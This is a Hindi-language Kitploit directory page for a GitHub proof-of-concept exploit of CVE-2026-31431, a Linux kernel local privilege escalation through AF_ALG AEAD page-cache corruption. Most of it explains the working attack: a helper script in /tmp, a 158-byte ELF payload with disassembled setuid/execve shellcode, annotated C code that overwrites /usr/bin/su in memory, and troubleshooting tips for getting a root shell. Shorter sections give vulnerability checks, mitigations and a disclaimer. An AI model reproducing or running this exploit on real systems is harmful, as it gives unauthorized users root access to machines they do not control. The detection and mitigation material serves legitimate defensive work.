Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-31431 — CVE-2026-31431 के लिए कार्यशील प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो AF_ALG AEAD पेज कैश भ्रष्टाचार के माध्यम से Linux कर्नेल में स्थानीय विशेषाधिकार वृद्धि है, जो रूट शेल प्रदान करता है। | Kitploit
उपकरण/GitHubGitHub/wesmar/cve-2026-31431
विशेषाधिकार वृद्धिशोषण फ्रेमवर्कभेद्यता विश्लेषणशोषणबाइनरी शोषण
GitHubwesmar/cve-2026-31431

CVE-2026-31431

CVE-2026-31431 के लिए कार्यशील प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो AF_ALG AEAD पेज कैश भ्रष्टाचार के माध्यम से Linux कर्नेल में स्थानीय विशेषाधिकार वृद्धि है, जो रूट शेल प्रदान करता है।

रिपॉजिटरी देखें
513 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-31431 — AF_ALG के माध्यम से स्थानीय विशेषाधिकार वृद्धि

NVD / NIST PoC Download

2026-04-29 — मैं इस एक्सप्लॉइट को MyDigitalLife फ़ोरम पर साझा करने के एक दिन बाद प्रकाशित कर रहा हूँ। इसे Python की आवश्यकता नहीं है; यह C में लिखा गया है और निम्न का उपयोग करके सबसे छोटे संभव आकार में संकलित किया गया है:

root@kitploit:~
musl-gcc -static -Os -o exploit exploit.c -s

गंभीर खतरा। एक्सप्लॉइट बाइनरी बिना निर्भरता के संकलित है और किसी भी Linux सिस्टम पर कमजोरियों का परीक्षण करने के लिए उपयोग की जा सकती है

CVE-2026-31431 Linux कर्नेल में NIST-पुष्टि की गई एक कमजोरी है जो एक अन-विशेषाधिकार प्राप्त स्थानीय उपयोगकर्ता को सेकंडों में root शेल प्राप्त करने की अनुमति देती है। CVE-2026-31431 के लिए सार्वजनिक रूप से प्रसारित एक्सप्लॉइट के मद्देनज़र, मैंने अपने आंतरिक बुनियादी ढांचे के जोखिम का मूल्यांकन करने के लिए एक बाइनरी प्रूफ-ऑफ-कॉन्सेप्ट (PoC) विकसित किया है। जबकि कुछ वातावरण su के उपयोग को प्रतिबंधित करते हैं, यह कमजोरी साझा सर्वरों के लिए विशेष रूप से महत्वपूर्ण है क्योंकि यह अंतर्निहित कर्नेल मेमोरी प्रबंधन को लक्षित करती है। परिणामस्वरूप, कोई भी SETUID बाइनरी — जिसमें sudo, passwd, mount, या newgrp शामिल हैं — का उपयोग एक्सप्लॉइट को ट्रिगर करने और root शेल प्रदान करने के लिए किया जा सकता है। कर्नेल को पैच करने के लिए तत्काल प्रशासनिक कार्रवाई आवश्यक है, क्योंकि मानक उपयोगकर्ता-स्थान प्रतिबंध इस खतरे को कम करने के लिए अपर्याप्त हैं। अनपैच्ड कर्नेल चलाने वाला कोई भी Linux सिस्टम जोखिम में है।

मेरा अपना कार्यशील एक्सप्लॉइट · Linux कर्नेल · AF_ALG क्रिप्टोग्राफ़िक इंटरफ़ेस (AEAD)

डिस्क पर फ़ाइल को छुए बिना कर्नेल पेज कैश में /usr/bin/su को प्रतिस्थापित करता है

स्थानीय शेल एक्सेस पर्याप्त है — कोई अतिरिक्त विशेषाधिकार आवश्यक नहीं

अनपैच्ड Linux वितरणों को प्रभावित करता है

CVE-2026-31431


📚 विषय-सूची

  • यह कमजोरी क्या है
  • कौन प्रभावित है
  • एक्सप्लॉइट कैसे काम करता है — चरण दर चरण
  • हमले का प्रवाह
  • एक्सप्लॉइट कोड विश्लेषण
  • ELF पेलोड — तकनीकी विवरण
  • कैसे जाँचें कि आप कमजोर हैं
  • शमन उपाय
  • शोधकर्ता नोट
  • अस्वीकरण

यह कमजोरी क्या है

CVE-2026-31431 Linux कर्नेल क्रिप्टोग्राफ़िक सबसिस्टम में स्कैटर-गैदर I/O संचालन और पेज कैश संदर्भों के प्रबंधन में एक बग है — विशेष रूप से AEAD एल्गोरिदम के लिए AF_ALG सॉकेट कार्यान्वयन में (crypto/af_alg.c, crypto/aead.c)।

वास्तव में क्या होता है

Linux कर्नेल AF_ALG सॉकेट के माध्यम से उपयोगकर्ता स्थान पर एक क्रिप्टोग्राफ़िक इंटरफ़ेस उजागर करता है। कमजोरी इस तथ्य में निहित है कि AEAD डिक्रिप्शन ऑपरेशन के दौरान, कर्नेल डिक्रिप्शन आउटपुट को अस्थायी बफर के बजाय सीधे स्रोत फ़ाइल के पेज कैश पृष्ठों पर मैप करता है। एक हमलावर इस प्रकार डिस्क पर संशोधित किए बिना, root विशेषाधिकारों के बिना, और फाइलसिस्टम में कोई दृश्यमान निशान छोड़े बिना किसी भी फ़ाइल की इन-मेमोरी सामग्री को अधिलेखित कर सकता है।


कौन प्रभावित है


एक्सप्लॉइट कैसे काम करता है — चरण दर चरण

एक्सप्लॉइट में दो घटक होते हैं: /tmp/x पर एक सहायक स्क्रिप्ट और AF_ALG पर आधारित एक भ्रष्टाचार लूप। स्रोत कोड विश्लेषण पर आधारित एक सटीक वॉकथ्रू निम्नलिखित है:

1. सहायक स्क्रिप्ट सेटअप

एक्सप्लॉइट निम्नलिखित सामग्री के साथ /tmp/x बनाता है:

root@kitploit:~
#!/bin/sh
export TERM=xterm-256color
exec /bin/sh

यह अनुमतियों को 0755 पर सेट करता है। कारण: /usr/bin/su लॉन्च पर पर्यावरण चर (TERM सहित) हटा देता है। सहायक स्क्रिप्ट वास्तविक शेल शुरू करने से पहले उन्हें पुनर्स्थापित करती है, जिससे एक कार्यशील टर्मिनल सुनिश्चित होता है।

2. ELF पेलोड निर्माण

कच्चे शेलकोड वाला एक न्यूनतम 158-बाइट x86_64 ELF बाइनरी मेमोरी में बनाया गया है। ऑफसेट 150 पर स्ट्रिंग /bin/sh को फिर memcmp/memcpy के माध्यम से /tmp/x\0 में पैच किया जाता है। विवरण के लिए ELF पेलोड देखें।

3. /usr/bin/su को केवल-पठन मोड में खोलना

root@kitploit:~
int su_fd = open("/usr/bin/su", O_RDONLY);

फ़ाइल केवल-पठन मोड में खोली जाती है — एक्सप्लॉइट को किसी भी लेखन अनुमति की आवश्यकता नहीं होती है।

4. भ्रष्टाचार लूप — 4 बाइट्स के 39 पुनरावृत्तियाँ

पेलोड (158 बाइट्स) को 4-बाइट चंक्स (39 पूर्ण चंक्स) में संसाधित किया जाता है। प्रत्येक चंक corrupt_binary_chunk() के माध्यम से पारित किया जाता है, जो निम्न कार्य करता है:

  • एक AF_ALG सॉकेट बनाता है (SOCK_SEQPACKET)
  • authencesn(hmac(sha256),cbc(aes)) से बाइंड करता है — एक यौगिक AEAD एल्गोरिदम
  • 72-बाइट कुंजी और 4 बाइट्स का प्रमाणीकरण टैग आकार सेट करता है
  • एक ऑपरेशन सॉकेट (op_sock) स्वीकार करता है
  • 8-बाइट बफर (4× 'A' + 4 पेलोड बाइट्स) और तीन CMSGs के साथ sendmsg भेजता है: ALG_OP_DECRYPT, IV (20 बाइट्स), assoclen=8
  • splice करता है: su_fd → pipe → op_sock (कर्नेल के माध्यम से ज़ीरो-कॉपी)
  • recv() के माध्यम से अंतिम रूप देता है — यहीं पर कर्नेल गलती से पेज कैश को अधिलेखित कर देता है

5. निष्पादन

root@kitploit:~
execve("/usr/bin/su", args, NULL);

कर्नेल /usr/bin/su को पेज कैश के माध्यम से लोड करता है — जो अब ज़हरीला हो चुका है। SUID बिट (chmod u+s) बरकरार है, इसलिए कर्नेल फ़ाइल को root के रूप में निष्पादित करता है। शेलकोड setuid(0) → execve("/tmp/x") → इंटरैक्टिव root शेल चलाता है।


हमले का प्रवाह

root@kitploit:~
flowchart TD
    A[अन-विशेषाधिकार प्राप्त स्थानीय उपयोगकर्ता] --> B["/tmp/x सहायक स्क्रिप्ट बनाता है\nchmod 0755"]
    B --> C["158-बाइट ELF पेलोड बनाता है\nपैच: /bin/sh → /tmp/x"]
    C --> D["open /usr/bin/su O_RDONLY\nकोई लेखन अनुमति आवश्यक नहीं"]
    D --> E[लूप: 4 बाइट्स के 39 चंक्स]
    E --> F[socket AF_ALG SOCK_SEQPACKET]
    F --> G["bind: authencesn hmac sha256 cbc aes"]
    G --> H["setsockopt: 72B कुंजी + authsize=4"]
    H --> I[accept → op_sock]
    I --> J["sendmsg: 8B डेटा + 3x CMSG\nDECRYPT / IV 20B / assoclen=8"]
    J --> K["splice: su_fd → pipe → op_sock\nकर्नेल के माध्यम से ज़ीरो-कॉपी"]
    K --> L[recv → AEAD ऑपरेशन अंतिम रूप देता है]
    L --> M["कर्नेल बग: डिक्रिप्शन आउटपुट\nsu_fd के पेज कैश को अधिलेखित करता है"]
    M --> N{अगला चंक?}
    N -->|हाँ| E
    N -->|नहीं| O["execve /usr/bin/su"]
    O --> P["कर्नेल /usr/bin/su लोड करता है\nज़हरीले पेज कैश से"]
    P --> Q["SUID बिट बरकरार\nकर्नेल root के रूप में निष्पादित करता है"]
    Q --> R["शेलकोड: setuid 0 syscall 105"]
    R --> S["execve /tmp/x syscall 59"]
    S --> T[इंटरैक्टिव root शेल]

एक्सप्लॉइट कोड विश्लेषण

exploit.c के प्रमुख अनुभाग नीचे समीक्षा किए गए हैं:

corrupt_binary_chunk() फ़ंक्शन

एक्सप्लॉइट का हृदय। प्रत्येक कॉल एक पूर्ण AF_ALG लेनदेन का समन्वय करता है:

root@kitploit:~
static void corrupt_binary_chunk(int fd, int offset, const unsigned char chunk[4])
{
    // AF_ALG सॉकेट बनाता है और AEAD authencesn(hmac(sha256),cbc(aes)) से बाइंड करता है
    alg_sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
    bind(alg_sock, (struct sockaddr *)&sa, sizeof(sa));

    // 72-बाइट कुंजी + प्रमाणीकरण टैग आकार = 4 बाइट्स
    setsockopt(alg_sock, SOL_ALG, ALG_SET_KEY, key, sizeof(key));       // 72B
    setsockopt(alg_sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);

    op_sock = accept(alg_sock, NULL, NULL);

    // बफर: 4x 'A' संबद्ध डेटा के रूप में + 4 पेलोड बाइट्स
    unsigned char msg_buf[8] = {'A','A','A','A', chunk[0],chunk[1],chunk[2],chunk[3]};

    // 3 CMSGs: DECRYPT ऑपरेशन / IV (20B, पहला बाइट 0x10) / assoclen=8
    // MSG_MORE के साथ sendmsg — डेटा अभी पूर्ण नहीं है
    sendmsg(op_sock, &msg, MSG_MORE);

    // ज़ीरो-कॉपी splice: su_fd → pipe → op_sock (offset+4 बाइट्स)
    splice(fd, &off_in, pipefd[1], NULL, total_len, 0);
    splice(pipefd[0], NULL, op_sock, NULL, total_len, 0);

    // recv ऑपरेशन को अंतिम रूप देता है — कर्नेल यहाँ गलती से su_fd के पेज कैश में लिखता है
    recv(op_sock, dummy, 8 + offset, 0);
}

मुख्य लूप

root@kitploit:~
for (size_t i = 0; i < len; i += 4) {
    if (i + 4 > len) break;           // अंतिम 2 बाइट्स छोड़ देता है (158 % 4 = 2)
    corrupt_binary_chunk(su_fd, i, &payload[i]);
}
// 39 पूर्ण चंक्स × 4 बाइट्स = 156 बाइट्स लागू

ELF पेलोड — तकनीकी विवरण

पेलोड कच्चे शेलकोड वाला एक स्व-निहित 158-बाइट x86_64 ELF बाइनरी है — कोई डायनामिक लिंकर नहीं, कोई बाहरी लाइब्रेरी नहीं।

शेलकोड — डिसअसेंबल किया गया

root@kitploit:~
; ऑफसेट 120 — प्रवेश बिंदु 0x400078
xor  eax, eax          ; eax = 0
xor  edi, edi          ; edi = 0  (uid = 0)
mov  al, 105           ; syscall setuid(0)
syscall

lea  rdi, [rip+0xf]    ; rdi → "/tmp/x\0" (ऑफसेट 150)
xor  esi, esi          ; argv = NULL
push 59
pop  rax               ; syscall execve
cdq                    ; rdx = 0 (envp = NULL)
syscall

xor  edi, edi
push 60
pop  rax               ; syscall exit(0)
syscall

; ऑफसेट 150
db "/tmp/x", 0, 0      ; ("/bin/sh\0" से पैच किया गया)

कैसे जाँचें कि आप कमजोर हैं

चरण 1 — कर्नेल संस्करण जाँचें

root@kitploit:~
uname -r

आउटपुट की तुलना NIST द्वारा प्रकाशित कमजोर संस्करणों की सूची से करें: nvd.nist.gov/vuln/detail/CVE-2026-31431

चरण 2 — जाँचें कि AF_ALG उपलब्ध है या नहीं

root@kitploit:~
python3 -c "import socket; s = socket.socket(38, socket.SOCK_SEQPACKET); print('AF_ALG उपलब्ध — सिस्टम कमजोर हो सकता है')"

यदि कमांड [Errno 97] Address family not supported लौटाता है — मॉड्यूल अक्षम है और जोखिम काफी कम है।

चरण 3 — /usr/bin/su पर SUID जाँचें

root@kitploit:~
ls -la /usr/bin/su

यदि s बिट मौजूद है (जैसे -rwsr-xr-x) — /usr/bin/su पर SUID सेट है और यह हमले का वेक्टर है।


शमन उपाय

अस्थायी समाधान (कर्नेल पैच उपलब्ध होने तक)

root@kitploit:~
# AF_ALG मॉड्यूल अनलोड करें यदि आवश्यक नहीं है
sudo modprobe -r af_alg 2>/dev/null || echo "मॉड्यूल कर्नेल में निर्मित है — अनलोड नहीं किया जा सकता"

# वैकल्पिक रूप से — SUID अस्थायी रूप से हटाएँ
sudo chmod u-s /usr/bin/su

शोधकर्ता नोट

यह अनुभाग सुरक्षा शोधकर्ताओं के लिए है जो एक पृथक वातावरण में कमजोरी का विश्लेषण कर रहे हैं।

socket() या bind() विफल हो जाता है

लक्षण: perror("socket") या perror("bind") निकास को ट्रिगर करता है।

कारण:

  1. कर्नेल में AF_ALG या authencesn एल्गोरिदम के लिए समर्थन नहीं है — जाँचें: cat /proc/crypto | grep authencesn
  2. आवश्यक मॉड्यूल लोड करें: sudo modprobe hmac sha256 cbc aead authencesn
  3. AppArmor/SELinux AF_ALG सॉकेट निर्माण को अवरुद्ध कर रहा है — लॉग जाँचें: dmesg | tail -20

splice() EPERM / EINVAL लौटाता है

लक्षण: स्प्लिस ऑपरेशन कर्नेल द्वारा अस्वीकार कर दिया गया।

कारण:

  1. सत्यापित करें कि su_fd एक नियमित फ़ाइल की ओर इशारा करता है, सिमलिंक या डिवाइस नहीं
  2. क्रिप्टो सॉकेट में ज़ीरो-कॉपी को अवरुद्ध करने वाले ऑडिट लॉग प्रविष्टियों के लिए dmesg जाँचें
  3. सत्यापित करें कि कोई LSM ऑपरेशन को इंटरसेप्ट नहीं कर रहा है

execve एक सामान्य उपयोगकर्ता शेल शुरू करता है

लक्षण: कोई root प्रॉम्प्ट नहीं; id मूल UID दिखाता है।

कारण:

  1. /usr/bin/su में SUID बिट गायब है — ls -la /usr/bin/su, s बिट दिखाई देना चाहिए
  2. execve से पहले पेज कैश फ्लश हो सकता है — sync जोड़ें या लूप विलंब कम करें
  3. सिस्टम में CVE-2026-31431 के लिए पैच है — कर्नेल संस्करण सत्यापित करें

/tmp/x नहीं मिला या TERM गायब है

लक्षण: शेल शुरू होता है लेकिन टर्मिनल रेंडरिंग टूटी हुई है।

कारण:

  1. सुनिश्चित करें कि /tmp लिखने योग्य है और noexec के साथ माउंट नहीं है
  2. /tmp/x में अनुमतियाँ 0755 होनी चाहिए — सत्यापित करें: ls -la /tmp/x
  3. यदि execve("/tmp/x") विफल हो जाता है — शेलकोड को सीधे /bin/sh का उपयोग करने के लिए फिर से पैच किया जा सकता है

अस्वीकरण

चेतावनी: यह दस्तावेज़ केवल सूचनात्मक, शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रकाशित किया गया है। यह NIST द्वारा पहचाने गए और सुरक्षा समुदाय द्वारा रिपोर्ट किए गए एक सार्वजनिक रूप से ज्ञात खतरे का वर्णन करता है। उन सिस्टमों पर एक्सप्लॉइट चलाना जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है, लागू कानूनों का उल्लंघन कर सकता है और आपराधिक दायित्व का परिणाम हो सकता है। केवल पृथक प्रयोगशाला वातावरण में परीक्षण करें।

सभी ट्रेडमार्क उनके संबंधित स्वामियों की संपत्ति हैं। Linux और संबंधित चिह्न Linux Foundation के ट्रेडमार्क हैं।


अंतिम अद्यतन: 2026-04-29

टूल डाउनलोड करें
गुणमान
पहचानकर्ताCVE-2026-31431
संदर्भNIST NVD
प्रकारस्थानीय विशेषाधिकार वृद्धि (LPE)
घटकLinux कर्नेल — AF_ALG / AEAD (authencesn)
आवश्यक पहुँचअन-विशेषाधिकार प्राप्त स्थानीय उपयोगकर्ता
प्रभावइंटरैक्टिव root शेल
एक्सप्लॉइट स्थितिGitHub पर सार्वजनिक रूप से उपलब्ध कार्यशील PoC
स्थिरताकोई नहीं — संशोधन केवल RAM में मौजूद है; रिबूट मूल स्थिति को पुनर्स्थापित करता है
सिस्टमस्थिति
Ubuntu 24.04 (बेयर मेटल / VM)⚠️ अनपैच्ड कर्नेल पर कमजोर
Debian, Fedora, Arch अनपैच्ड कर्नेल पर⚠️ कमजोर
CONFIG_SECURITY_LOCKDOWN_LSM वाले वितरण✅ संभवतः सुरक्षित
nosuid या ProtectSUID (systemd) वाले सिस्टम✅ सुरक्षित
AppArmor/SELinux द्वारा AF_ALG अवरुद्ध करने वाले सिस्टम✅ सुरक्षित
macOS, Windows (मूल)✅ प्रभावित नहीं
फ़ील्डविवरण
कुल आकार158 बाइट्स
ELF हेडर120 बाइट्स (e_type=2 EXEC, e_machine=62 x86_64)
प्रवेश बिंदु0x00400078 = ऑफसेट 120 (हेडर के तुरंत बाद)
शेलकोड30 बाइट्स (ऑफसेट 120–149)
लक्ष्य स्ट्रिंगऑफसेट 150 पर 8 बाइट्स (/bin/sh\0 → /tmp/x\0 में पैच किया गया)
4-बाइट चंक्स39 पूर्ण (156 बाइट्स); अंतिम 2 बाइट्स छोड़ दिए गए
शमनकैसे लागू करेंप्रभावशीलता
कर्नेल अपडेटsudo apt update && sudo apt upgrade + रिबूट✅ पूर्ण (जब पैच उपलब्ध हो)
AF_ALG मॉड्यूल ब्लैकलिस्ट करेंecho "install af_alg /bin/false" >> /etc/modprobe.d/blacklist.conf✅ हमले के वेक्टर को अवरुद्ध करता है
su से SUID हटाएँsudo chmod u-s /usr/bin/su✅ इस एक्सप्लॉइट को अवरुद्ध करता है (ध्यान दें: su काम करना बंद कर देगा)
/tmp को noexec के साथ माउंट करें/etc/fstab संपादित करें: tmpfs /tmp tmpfs noexec,nosuid 0 0⚠️ आंशिक — /tmp/x को अवरुद्ध करता है, एक्सप्लॉइट दूसरा पथ उपयोग कर सकता है
AppArmor / SELinuxअन-विशेषाधिकार प्राप्त उपयोगकर्ताओं के लिए AF_ALG socket अवरुद्ध करने वाला प्रोफ़ाइल✅ सही कॉन्फ़िगरेशन के साथ प्रभावी